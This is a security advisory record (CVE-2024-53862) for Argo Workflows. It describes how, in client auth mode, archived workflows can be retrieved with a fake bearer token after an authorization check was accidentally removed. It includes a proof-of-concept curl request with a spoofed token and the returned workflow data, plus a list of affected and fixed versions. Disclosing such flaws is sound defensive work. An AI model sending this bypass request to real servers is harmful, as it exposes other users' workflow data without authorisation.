{"id":"GHSA-h36c-m3rf-34h9","summary":"Access to Archived Argo Workflows with Fake Token in `client` mode","details":"### Summary\n\nWhen using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`\n\nWhen using `--auth-mode=sso`,  all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`\n\n### Details\n\nNo authentication is performed by the Server itself on `client` tokens[^1]. Authentication & authorization is instead delegated to the k8s API server.\nHowever, the [Workflow Archive](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go) does not interact with k8s, and so any token that [_looks_](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/mode.go#L37) [valid](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L185) will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does [the equivalent of a `kubectl auth can-i`](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go#L50) check for respective methods.\n\nIn #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on [these lines](https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715), allowing archived workflows to be retrieved with a fake token.\n\n### PoC\n\n#### Configuration\n\nController `ConfigMap`:\n```yaml\n  config: |\n    persistence:\n      archive: true\n      postgresql:\n        database: argoworkflows\n        host: db-host\n        passwordSecret:\n          key: postgresPassword\n          name: argo-wf-postgres-credentials\n        port: 5432\n        tableName: argo_workflows\n        userNameSecret:\n          key: username\n          name: argo-wf-postgres-credentials\n```\n\nServer: `--auth-mode=client`\n\n#### Reproduction\n\nVisit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.\n\nFor example, directly query the API and retrieve the workflow data (where `Bearer thisisatest` is not a valid token):\n\n```sh\ncurl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g\n```\n\n\u003cdetails\u003e\u003csummary\u003eResults in a returned workflow:\u003c/summary\u003e\n\n```\n* Host localhost:8000 was resolved.\n* IPv6: ::1\n* IPv4: 127.0.0.1\n*   Trying [::1]:8000...\n* Connected to localhost (::1) port 8000\n\u003e GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1\n\u003e Host: localhost:8000\n\u003e User-Agent: curl/8.7.1\n\u003e Accept: */*\n\u003e Authorization: Bearer thisisatest\n\u003e\n* Request completely sent off\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Grpc-Metadata-Content-Type: application/grpc\n\u003c X-Ratelimit-Limit: 1000\n\u003c X-Ratelimit-Remaining: 999\n\u003c X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC\n\u003c Date: Mon, 19 Aug 2024 20:44:26 GMT\n\u003c Transfer-Encoding: chunked\n\u003c\n* Connection #0 to host localhost left intact\n{\n    \"metadata\": {\n        \"name\": \"hello-world-7tv5g\",\n        \"generateName\": \"hello-world-\",\n        \"namespace\": \"argo\",\n        \"uid\": \"e5868ab1-f820-4a9e-9407-162346a4ccb4\",\n        \"resourceVersion\": \"9982\",\n        \"generation\": 3,\n        \"creationTimestamp\": \"2024-08-13T23:59:20Z\",\n        \"labels\": {\n            \"workflows.argoproj.io/archive-strategy\": \"false\",\n            \"workflows.argoproj.io/completed\": \"true\",\n            \"workflows.argoproj.io/phase\": \"Succeeded\",\n            \"workflows.argoproj.io/workflow-archiving-status\": \"Persisted\"\n        },\n        \"annotations\": {\n            \"workflows.argoproj.io/description\": \"This is a simple hello world example.\\n\",\n            \"workflows.argoproj.io/pod-name-format\": \"v2\"\n        },\n        \"managedFields\": [\n            {\n                \"manager\": \"argo\",\n                \"operation\": \"Update\",\n                \"apiVersion\": \"argoproj.io/v1alpha1\",\n                \"time\": \"2024-08-13T23:59:20Z\",\n                \"fieldsType\": \"FieldsV1\",\n                \"fieldsV1\": {\n                    \"f:metadata\": {\n                        \"f:annotations\": {\n                            \".\": {},\n                            \"f:workflows.argoproj.io/description\": {}\n                        },\n                        \"f:generateName\": {},\n                        \"f:labels\": {\n                            \".\": {},\n                            \"f:workflows.argoproj.io/archive-strategy\": {}\n                        }\n                    },\n                    \"f:spec\": {}\n                }\n            },\n            {\n                \"manager\": \"workflow-controller\",\n                \"operation\": \"Update\",\n                \"apiVersion\": \"argoproj.io/v1alpha1\",\n                \"time\": \"2024-08-13T23:59:30Z\",\n                \"fieldsType\": \"FieldsV1\",\n                \"fieldsV1\": {\n                    \"f:metadata\": {\n                        \"f:annotations\": {\n                            \"f:workflows.argoproj.io/pod-name-format\": {}\n                        },\n                        \"f:labels\": {\n                            \"f:workflows.argoproj.io/completed\": {},\n                            \"f:workflows.argoproj.io/phase\": {},\n                            \"f:workflows.argoproj.io/workflow-archiving-status\": {}\n                        }\n                    },\n                    \"f:status\": {}\n                }\n            }\n        ]\n    },\n    \"spec\": {\n        \"templates\": [\n            {\n                \"name\": \"hello-world\",\n                \"inputs\": {},\n                \"outputs\": {},\n                \"metadata\": {},\n                \"container\": {\n                    \"name\": \"\",\n                    \"image\": \"busybox\",\n                    \"command\": [\n                        \"echo\"\n                    ],\n                    \"args\": [\n                        \"hello world\"\n                    ],\n                    \"resources\": {}\n                }\n            }\n        ],\n        \"entrypoint\": \"hello-world\",\n        \"arguments\": {},\n        \"serviceAccountName\": \"argo-workflow\"\n    },\n    \"status\": {\n        \"phase\": \"Succeeded\",\n        \"startedAt\": \"2024-08-13T23:59:20Z\",\n        \"finishedAt\": \"2024-08-13T23:59:30Z\",\n        \"progress\": \"1/1\",\n        \"nodes\": {\n            \"hello-world-7tv5g\": {\n                \"id\": \"hello-world-7tv5g\",\n                \"name\": \"hello-world-7tv5g\",\n                \"displayName\": \"hello-world-7tv5g\",\n                \"type\": \"Pod\",\n                \"templateName\": \"hello-world\",\n                \"templateScope\": \"local/hello-world-7tv5g\",\n                \"phase\": \"Succeeded\",\n                \"startedAt\": \"2024-08-13T23:59:20Z\",\n                \"finishedAt\": \"2024-08-13T23:59:24Z\",\n                \"progress\": \"1/1\",\n                \"resourcesDuration\": {\n                    \"cpu\": 0,\n                    \"memory\": 3\n                },\n                \"outputs\": {\n                    \"exitCode\": \"0\"\n                },\n                \"hostNodeName\": \"kind-control-plane\"\n            }\n        },\n        \"conditions\": [\n            {\n                \"type\": \"PodRunning\",\n                \"status\": \"False\"\n            },\n            {\n                \"type\": \"Completed\",\n                \"status\": \"True\"\n            }\n        ],\n        \"resourcesDuration\": {\n            \"cpu\": 0,\n            \"memory\": 3\n        },\n        \"artifactRepositoryRef\": {\n            \"default\": true,\n            \"artifactRepository\": {}\n        },\n        \"artifactGCStatus\": {\n            \"notSpecified\": true\n        },\n        \"taskResultsCompletionStatus\": {\n            \"hello-world-7tv5g\": true\n        }\n    }\n}%\n```\n\n\u003c/details\u003e\n\n\n### Impact\n\nUsers of the Server with `--auth-mode=client` and with `persistence.archive: true` are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.\n\nUsers of the Server with `--auth-mode=sso` and with `persistence.archive: true` are vulnerable to users being able to access workflows they could not access before archiving.\n\n[^1]: `sso` tokens, on the other hand, are [immediately \"authorized\"](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L207). The naming in the codebase is a bit confusing; it would be more appropriate to say \"authenticated\" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the `client` tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for `client` tokens via the k8s API server.","aliases":["BIT-argo-workflows-2024-53862","CVE-2024-53862","GO-2024-3303"],"modified":"2026-07-17T21:05:24.075798258Z","published":"2024-12-02T22:17:55Z","database_specific":{"nvd_published_at":"2024-12-02T16:15:14Z","cwe_ids":["CWE-200"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2024-12-02T22:17:55Z"},"references":[{"type":"WEB","url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-h36c-m3rf-34h9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-53862"},{"type":"WEB","url":"https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-workflows"}],"affected":[{"package":{"name":"github.com/argoproj/argo-workflows/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.5.7"},{"fixed":"3.5.13"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-h36c-m3rf-34h9/GHSA-h36c-m3rf-34h9.json"}},{"package":{"name":"github.com/argoproj/argo-workflows/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.6.0"},{"fixed":"3.6.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-h36c-m3rf-34h9/GHSA-h36c-m3rf-34h9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"}]}